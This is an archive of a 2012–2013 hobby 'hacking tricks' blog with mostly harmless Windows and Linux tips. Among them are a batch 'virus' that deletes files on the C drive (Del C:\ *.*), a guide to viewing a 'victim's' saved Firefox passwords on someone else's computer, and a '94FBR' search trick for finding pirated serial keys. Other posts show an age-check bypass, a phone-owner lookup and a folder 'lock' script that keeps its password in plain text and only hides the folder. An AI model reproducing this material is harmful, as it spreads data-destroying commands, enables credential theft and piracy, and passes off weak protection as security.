Monday, June 24, 2013

Introduction To Basic Terminal Commands For Linux - Part 1

linux terminal
In this tutorial you will learn to use linux terminal. You will learn to navigate on the terminal, learn to create and remove file and much more. Most of this commands also works on Mac Os X and powershell on windows.

What Is Terminal ?

Basically you are reading this tutorial because you are new to linux or want to learn using terminal to navigate. Before you get started you must have linux installed or running virtually on your computer. I would recommend downloading fedora or ubuntu (If you have trouble installing ubuntu leave a comment below and i will post a tutorial).

Commands To Remember

This are some of commands you must remember which will help you to use terminal more easily.
ls - it will list all files and folder in your current directory
ls -l it will give detailt listing of all files and folders
ls -a it will list all files and folder in your current directory including hidden files (files and folders that begin with period)
pwd will print your working directory or simply your current directory

Navigating In Terminal

Here i may refer folder as directory so dont get confused. This is the term we use in linux for folders.

cd - cd stands for change directory. we use cd follow by path address to navigate ro that folder.
Eg: cd Desktop will make desktop as my current directory.
cd / will make root as you current directory
cd ~ will make home as your current directory
Typing cd alone is same as cd ~ and it will make home as your current directory
cd .. will make parent directory i.e directory above your current directory
cd ../../ will take you two folder up

Creating Files And Folder

mkdir - we use mkdir follow by path or folder name to create a directory
Eg mkdir car will create directory car in your current directory
to create folder recursively i.e folder inside folder inside folder we use -p flag
Eg mkdir -p vehicles/car/truck will create directory vehicles in your current directory which have car inside it and car has directory truck in it.

touch - we use touch follow by file name to create empty file.

Removing Files And Folders

rmdir - we use rmdir follow by path to to remove any directory. This will not work if folder you are trying to remove has something in it.
rm -r  to remove file recursively which can not be removed by rmdir
rm - We use this command to remove files

Feedback

I guess thats enough for today. I know this is little confusing but practice and you will be a terminal pro.  Leave a comment below if you have any trouble. You may also like to read below articles.

Saturday, June 15, 2013

How To Block Youtube Ads ?

block youtube ads
Most of you get bored or annoyed due ads playing before youtube videos. Today i will share with you an amazing peace of programme called Block YouTube Ads . It removes all video ads before and during videos, as well as removes all those ads that pop at the bottom of the screen while the video is playing. It works on all major browser such Internet explorer, google chrome and mozilla firefox.

How to do ?

  1. Download Youtube Ads Blocker
  2. Double click on downloaded file.
  3. Follow the on screen instruction.

More Interesting Tricks

Monday, April 22, 2013

Password Protect Any Folder Without Any Software

In my previous post i have teach you to hide files behind images. In this tutorial i will show you interesting and usefull trick to password protect folder without using any software using batch file programming. This trick will work on all windows platform (Win XP, Win 7). Follow below tutorial to learn this trick.

How To Lock Folder ?

   1. Open Notepad and Copy code given below into it.
cls
@ECHO OFF
title coolhacking-tricks.blogspot.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== coolhacks goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End
   2. Save the notepad file as lock.bat (.bat is must)
   3. Now double click on lock.bat and a new folder will be created with name MyFolder
   4. Copy all your data you want to protect in that New folder
   5. Now double click on lock.bat and when command promp appears Type Y and press enter.
   6. Now MyFolder will be hidden from you view, to access that folde double click on lock.bat
   7. It will ask for password enter your password and done. (Default password is coolhacks)
  • To change the password replace coolhacks with  new password in the above code

How To Further Secure ?

You might be thinking that anyone can access the password by opening that lock.bat file in Notepad or any other text editor. To make it more secure hide lock.bat in some secure location after following the above tutorial To access the secured file double click on lock.bat. I would suggest copying lock.bat file into Pendrive and copying it into your computer whenever you required to access to your protected files.

Few More Interesting Tricks

Friday, April 12, 2013

Block Facebook On Your Computer In Few Simple Steps

facebook blocker
I had previously posted about Blocking Facebook on your computer but many users were facing difficulties doing that. So In this tutorial i will share with you guys an amazing programme or small little tool that will allow you block facebook on your computer easily in just few simple steps. So lets get started

How To Use Facebook Blocker ? 

 1. First download Facebook Blocker by Clicking Here
  2. Extract the file and right click on Facebook Blocker.exe and run it as administator (Important)
  3. Press 1 in order to  backup your host file to be on the safe side.
facebook blocker
  4. Now Press 2 to block facebook
  5. Its time to check if facebook is blocked or not to do that Press 5
  6. Hope this help you if you have any question leave a comment below.

More Computer Tricks & Tips

Wednesday, April 10, 2013

Finding Serial Key Of Any Software Using Simple Google Trick

google tricks
Most of you download and use pirated software from torrents or any such other sites, but sometime it gets very difficult to find serial key of those softwares. I will make it easy for you by showing you simple yet very intersting google trick which will allow you to find serial key of any software very easily.

How To Find Serial Key Of Any Software ?

The key 94FBR is a part of  Office 2000 Pro CD activation key that is widely distributed as it bypasses the activation requirements of Office 2000 Pro. By searching for 94fbr and the product name, you are guarantee that the pages that are returned are pages dealing specifically with the product you're wanting a serial for. Follow simple steps given below to learn this trick

    1. Go to Google
    2. Then type  Software Name 94FBR
  • Replace Software Name with the name of software whose serial key you want to find
  • Eg: To find serial key of Nero i will type Nero 94fbr
    3. Now press Enter and you will find serial key of software you are looking for as shown below.
google trick to find serial key

More Such Awesome Tricks You Will Enjoy

Saturday, April 6, 2013

How To Disable Right Click On Your Website Or Blog ?

 Disable Right Click for blog
If you own a blog or a website then you always want to prevent other malicious bloggers from copying the content from your blog. You might have written an article with great efforts and lots of research and other just copy/paste it on their blog. To prevent such users from copying content from your blog i will show you Javascript Trick to disable right click on your blog. So lets get started.

How To Disable Right Click On Your Blog ?

 1. Got to your blogger Dashboard and then Click on Layout.
blogger widget

 2. Now Click on Add Gadget and select Html/Javascript.
blogger widget
 3. Now paste code given below in the pop up window.
<!--MBW Code-->
<script language='JavaScript1.2'>
function disableselect(e){
return false
}
function reEnable(){
return true
}
document.onselectstart=new Function ("return false")
if (window.sidebar){
document.onmousedown=disableselect
document.onclick=reEnable
}
</script>
<!--Code End http://mybloggersworld.blogspot.in>
 4. Save it and done. Now users will not be able to right click on your website.  5. If you like to disable mouse on your computer then check out tutorial given below.

Some Other Cool Trick For You

Monday, April 1, 2013

Watch 18+ Videos On Youtube Without Signing In

Watch 18+ Videos On Youtube Without Signing In
Sometime its annoying when youtube ask you to sign in for your age verification to watch 18+ videos. So i will make it easy for you by showing you a simple youtube trick to watch adult or 18+ youtube videos without signing In. This trick is 100% working as of 2013. So lets get started.

How To Watch 18+ Youtube Videos Without Logging In ?

1. First get the Url of video you want to watch. As shown below.
http://www.youtube.com/watch?v=4Xkh6j7RMqk 
2. Then copy the Video Id. For above link video Id is 4Xkh6j7RMqk
3. Now paste the Video Id in the link given below.
http://www.youtube.com/v/VideoId?fs=1
  • Replace VideoId with the Id you copied in Step 2
4. Now the url will become as shown below.
http://www.youtube.com/v/4Xkh6j7RMqk?fs=1
5. Done.

Other Cool Youtube Tricks

Thursday, March 28, 2013

Learn To Hide Files Behind The Images

hide files behind images

There are some important  files or document you want to hide from others on your computer. To do that you might be creating folder inside folder to hide such files but in todays tutorial i will change this by teaching you a interesting trick to hide files behind images.To hide a file behind a image  means that if any one opens that image he will see the image, but to see the hidden file we need to open that image in a specific way. So lets get started.

How To Hide File Behind Image ?

In order to do this you should have basic understanding of command line, but if you don't know check out  tutorial given below.
1. Select an image to be used for hiding file behind the image.
2. Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
3. And most important is that paste both the files on desktop. You may do this anywhere instead of desktop if you have some basic understanding of command line.
4. Now open cmd by going to Start > Accessories > Command Prompt and type following commands in it.
cd desktop
hide files behind images

5. CD stands for change directory by typing above command you change your directory to desktop. After that type command given below.
 Copy /b imagename.jpg + filename.rar finalimage.jpg
hide files behind images
  • Replace imagename.jpg with the name of image you want your file to be hidden behind. Don't forget to add image format (Eg: .jpg,.png,.gif)
  • Replace filename with name of your file you want to hide. It must be in .rar format.
  • Finally Replace finalimage.jpg with whatever name you want your final image with hidden files should be. This is the image where your file will be hidden.
6. Now when you will try to open this newly created image it will open as normal image, but to open you hidden file you need follow steps given below.

How To Access Hidden File ?

To access your hidden file you need to open the newly created image in winrar. Just follow simple steps given below to do that.

    1. Open winrar
    2. Now locate your image and open it or simply drag your image in winrar.

Saturday, March 23, 2013

Simple Trick To Use Web Browsers As Text Editor

 Web Browsers As Text Editor
In this tutorial i will show you a simple and interesting trick to use your web browser such as Google Chrome or Mozilla Firefox as a simple text editor like Notepad. This trick works on all web browsers. So lets get started.

How To Do ?

   1 Copy below code in browser Url Section

 data:text/html, <html contenteditable>

   2. Now Press Enter.
   3. Now you can type anything as would do on any other text editor like Notepad.
   4. To save your text file Press Ctrl + S and save it as anything.txt (.txt Is Must)

Some Cool Tricks

Monday, March 18, 2013

Guest Posts Now Accepted At Cool Hacking Tricks

guest postings

I am please to announce that we are now accepting Guest posts on our blog Cool Hacking Tricks. In return you will get backlink and large amount of traffic from our blog. Guest Author Name and Blog details will be posted below each post he write. So don't miss your chance to increase traffic to your blog. We accepted post related to Computer Tricks & Tips, Hacking, Mobile Tricks, Facebooks Tips & Tricks and other topics related to web and techology.

    Why To Write For Us ?

    Our Blog recieves Thousands of Pageviews daily and is constantly growing. We have more then 1400+ Email Subscribers and over 3500+ Facebook Fans so you can imagine amount of traffic we get daily. So by writing for us you can drive lots of traffic to your blog or website As Guest blogger widget with his name and his blog or website details will be placed below each post he write. So if you are interested check out below details on how to apply.

    Topics Accepted

    • Computer Tricks & Tips
    • Hacking Related Stuffs
    • Mobile Tricks
    • Facebook Tricks
    • Javascript Tricks
    • Anything Related To Web & Technology

    How To Apply ?

    Write a Good post or tutorial on any of the topic listed above. Do Not Copy and Paste from other blogs or websites. You can write what other blog have already published but write it in your own way, in your style and send me that via following method.
    • Send Me Email To ndark14@gmail.com
    • Or Contact me Via our Contact Form By Clicking Here 

      Wednesday, March 13, 2013

      Blocking Facebook On Your Computer

      I had previously posted about Blocking And Unblocking any websites on your computer. In this tutorial i will teach you to specifically block facebook on your computer. This might be helpfull if you want to prevent students from using facebook in school and colleges or your employees in office. If you are parent and don't want you child to use facebook or any other particular site then follow simple steps given below. So lets get started.

      How To Block Facebook ?

      1. Go to Start > Programmes > Accesories
      2. Then Right click on Notepad and Run it as administrator.
      3. Now open host file by clicking on File > Open and locate to following address

           C:\WINDOWS\system32\drivers\etc

      4. Then just below # 127.0.0.1 localhost paste folowing code

      # Blocking Facebook
      127.0.0.1 login.facebook.com
      127.0.0.1 www.facebook.com
      127.0.0.1 apps.facebook.com
      127.0.0.1 blog.facebook.com

      5. Now save the host file and done.
      6. Open any browser and try to open facebook. It won't open. If facebook opens then you might have done somthing wrong. (let me know if you face any problem)

      Blocking Other Website

      If you want to block website other then facebook then change facebook address with whatever website you want to block. For example: to block google paste following code below # 127.0.0.1 localhost

      # block google
      127.0.0.1 www.google.com

      Any Question

      If you find any difficulty blocking facebook on your computer then leave a comment below i will be glad to help you out. You also like to read some  interesting tutorial given below.

      Thursday, March 7, 2013

      Finding Ip Address Of A Website Using Command Prompt Or CMD

      In this tutorial i will teach you to find Ip Address of any website using Command Prompt or in short CMD. Using IP Address you can find location of the website server and do more stuff. I will demostrate this tutorial with Google but you can use this method to find IP Address of any website like twitter, facebook etc. So lets get started.

      How to find IP ?

      1. Go to Start > Type CMD and press Enter.
      2. Now write Ping followed by website URL whose IP you want to find.
      finding ip adddress of website

      3. It will take less then a second and come up with the results as shown below.
      finding ip adddress of website

      In  my next post i will show you another easy way to find website IP Address and teach you to use this IP to find its location.

      You may also like to read:

      Monday, February 18, 2013

      Making Nameless Folder In Windows

      creating nameless folder
      In this small tutorial i will show you a smilpe windows trick. Basically you can not make folder with no name on windows. This trick will allow you to make folder without any name. This trick works on any windows  operating system.


      How To Make Nameless Folder

      Before attempting this trick, try to make a folder with no name and you will fail to do so. This is what this trick will let you do. Below is screenshot of folder before and after doing this interesting trick.
      creating nameless folder
      1. Make a Newfolder on desktop or where ever you want.
      2. Right click on this newly created folder and select Rename.
      3. Erase the text showing "New Folder".
      4. Now keep Pressing Alt (i.e alter key) and type 255. If you are on laptop then you need to enable your Num Lock and type from the highlighted number keys not from those below function keys.
      5. After that leave alt key and Press enter.
      6. Done you just created nameless folder.

      Other Cool Windows Tricks

      Saturday, February 16, 2013

      Posting Facebook Status Upside Down

      facebook status upside down
      In this tutorial i will share with you simple facebook status trick. If you want to post something creative or something cool as your facebook status then this trick will let you post any facebook status upside down. Basically this is a website which allows you to flip your text. so lets dive into it.

      How To Do ?

      1. First GoTo FlipText Website by Clicking Here.
      2. Enter you message or text in text area and click on Flip.
      3. Copy the upside down text and paste it in your facebook status or where ever you want to use it.
      4. Enjoy!

      Other Awesome Facebook Tricks

      Friday, February 8, 2013

      Enable God Mode In Windows 7 And Vista

      windows 7 god mode

      In this tutorial i will show you to enable God Mode in Windows 7 and Windows Vista. By enabling God mode you can access all your windows setting from one folder and it makes really easy to access and change windows settings. This work 32 as well as 64 bit operating system. So lets enable God mode on your computer.

      How to do it ?

        1. On your desktop right click and create a New Folder.
        2. Rename this folder to the code given below.

      GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

        3. Done now double click on this folder and you will have access to all your windows operating system settings.

      Video Tutorial On Enabling God Mode


      More Intresting Tricks

      Thursday, February 7, 2013

      Awesome VLC Media Player Trick

      vlc tricks
      In this tutorial i will share a simple trick yet interesting trick i came across while surfing on the internet. I will call it VLC Inception trick. This trick is simple and works on windows xp as well as windows 7. If you know this trick then its great if you don't then lets dive into it.

      How To Do This Trick ?

      1. Open Vlc Media Player.
      2. Then Press Cltr + N
      3. Now Type "Screen://" (without quotes)
      4. Click on Play and watch this simple little trick.

      More Interesting Tricks

      Thursday, January 31, 2013

      Top 5 Cool Notepad Tricks

      notepad tricks
      I had previously share some Interesting computer tricks as well as cool Batch file programs. In this post i will share with you guys some of the cool notepad tricks.As name suggest you don't require any program other then notepad. So lets get started.

      1. World Trade Center Attack Trick

      world trade center trick


      The flight number of the plane that had hit World Trade Center on  (9/11) was Q33NY. Now we call this trick or a coincidence or something else but whatever it is you will be definately amazed by the this trick.

          1. Open Notepad and Type �Q33N� (without quotes) in capital letters.
          2. Increase the font size to 72.
          3. Change the Font to Wingdings.

      2. Matrix Effect Trick

      matrix effect trick
      In this trick i will show you to make a batch file in notepad which will act as matrix effect that you might have seen in movies.Matrix effect is basically number flashes in green color.

          1. Open Noteapad and copy below code into it.

      @echo off
      color 02
      :start
      echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
      goto start

          2. Now save this file as Matrix.bat (name can be anything but .bat is must)
          3. Open your saved file and you will have matrix effect on your screen.

      3. Creating Virus That Format C Drive

      computer virus
      In this trick we will be creating virus in notepad using batch file programming. This virus is really simple to create yet very dangerous. opening this file we delete or format C drive of your computer.

          1. Open Notepad and copy below code into it.

      @Echo off
      Del C:\ *.* |y
       
          2. Then Save this file as virus.bat
          3. Now, running this file format C Drive.

      4. Making Personal Diary Using Notepad 

      notepad tricks
      Here you will learn to use notepad as Digital diary or a log book to keep record of your daily work instead of using pen and paper.

          1. Open Notepad and Type .LOG (in capital Letters and press enter
          2. Save the program with any name and close it.
          3. Open the file again. Now you can see current date and time, This will happen every time you reopen notepad

      5. Dancing Keyboard Led


      keyboard dancing led

      In this part i will show you to make interesting file using notepad which will make keyboard led to dance. basically we will be creating a visual basic script.

          1. Open Notepad and copy below codes into it.

      Set wshShell =wscript.CreateObject("WScript.Shell")
      do
      wscript.sleep 100
      wshshell.sendkeys "{CAPSLOCK}"
      wshshell.sendkeys "{NUMLOCK}"
      wshshell.sendkeys "{SCROLLLOCK}"
      loop
          2. Then save this file as dance.vbs (name can be anything but .vbs is must)
          3. Open your save file and see your keyboard led blinking like disco lights.

      List Of Some Other Cool And Interesting Tricks

      Friday, January 25, 2013

      How To Install Backtrack 5 On Virtual Machine ?

      Backtrack 5
      If you want to experience and experiment with backtrack 5 hacking tools such as kismet, metasploit etc. Then today i am going to show you how you can install and run Backtrack 5 Operating System inside a virtual machine(VirtualBox). It works on all computers running any operating system such as Windows Xp, Windows 7, Or Mac Os X. So  lets get stared installing backtrack 5 on your operating system.


      Downloading Softwares to install Backtrack on Virtual Box 

      1. First you will need Virtual Machine to run Backtrack 5 which you can Download From VirtualBox Website. After downloading VirtualBox Install the program. Installing VirtualBox is really simple like any other program you install on your computer.
      2. Then you will need Backtrack 5 .iso file which you can download from Here with below configuration. You can download it directly or via torrent thats your choice.
      backtrack 5

      Getting started installing Backtrack 5 on Virtual Box

      1. Open VirtualBox and Click on New. Then a popup box will appear in that write Name as backtrack, Type as Linux and Version as Ubuntu as shown in below picture and click on Next.
      Backtrack on Virtualbox
      2. Next allocate memory to your virtual machine. I usually allocate half the ram i have which is 2GB of 4GB as shown below and click Next.
      virtual box
      3. Then choose second option Create Virtual Hard Drive Now from three options and then click on Next.
      4. Then Choose VDI(Virtual Disk Image) From all the options and click Next.
      5. Now to options will come to allocate size on Hard Drive from that choose Dynamically Allocated and click Next
      6. Then leave name as it is and allocate the size to arround 15-20GB and click Create.
      7. Now you will have your virtual machine on left. To start it double click the virtual machine. As you running it for the first time you need to configure it.
      8. Navigate to the Backtrack 5 .iso file we downloaded by clicking on button i highlighted in red in below image and select it and click on start.

      virtual box

      9. After clicking on start click Enter and leave the setting as it is and press Enter again.
      10. Now it will ask for command so type startx and press Enter and it will load user interface of backtrack.
      11. Click on Install Backtrack icon from desktop and it will open installation window. Now leave language to English and click on Forward. It will now ask for location, Enter your location and press Forward.
      12. On Step 3,4,5,6 you don't need to do anything just click on Forward and on step 7 Click on Install. It will take couple of minutes and you will have backtrack 5 install on your computer.
      13. Now will need to enter username and password to enter backtrack, the default username for backtrack is root and password is toor. You can use passswd command to change your password.
      14. Done you now have Backtrack 5 running on your virtual machine.

      Confused ?

      If got problem installing backtrack 5 on your virtual machine or got struck on any of the steps, or liked our tutorial then leave a comment below i will be glad to help you out.

      Saturday, December 29, 2012

      Trick To Find User Surname Of Any Reliance Mobile Number

      reliance number
      While searching on web for finding details of user of particular mobile number, I came across a website that can help you to get little information about that user. In this tutorial i will teach you to find surname of Reliance mobile number user in few simple steps. Basically this website is for recharge but it helps you to get information about user of that mobile number. So lets dive into it.


         1. Go to this  Website
         2. Enter Mobile Number in Reliance Subscriber Number.
         3. Email address is optional so you don't need to enter.
         4. Done!!!

      You may Like to read


      Wednesday, December 19, 2012

      How To Hack Saved Password In Firefox ?

      firefox hacks
      In my previous post i had posted two tutorials on How to hack google chrome saved password ? and More simple way to hack google chrome saved passworod. In this post i will share with you guys how to view saved password in Mozilla Firefox web browser. This trick can be helpfull if you get your hands on someone computer maybe your friends and he has saved password for certain websites like gmail, facebook,yahoo etc then you can easily view his password with very simple and easy trick that i am going to share today. 

      For demonstration purpose i have already saved a fake email password for facebook. But it will work on any website. So lets get started.

      How to do ?

      1. Open Firefox Web Broweser
      2. Then Click on FireFox > Option > Option as shown in below picture

      3. Then a POP Up box will appear, In that go to security and click on Show Passwords as show below.

      4. Now click on website whose password you want to see ans click on show password as shown in below image. (Note: It will ask for confirmation so click on yes when dialog box appears)


      5. Done, You have hacked password of your victim with few simple steps. You can try this at school computer lab if someone have saved their password. 

      You may also like  to read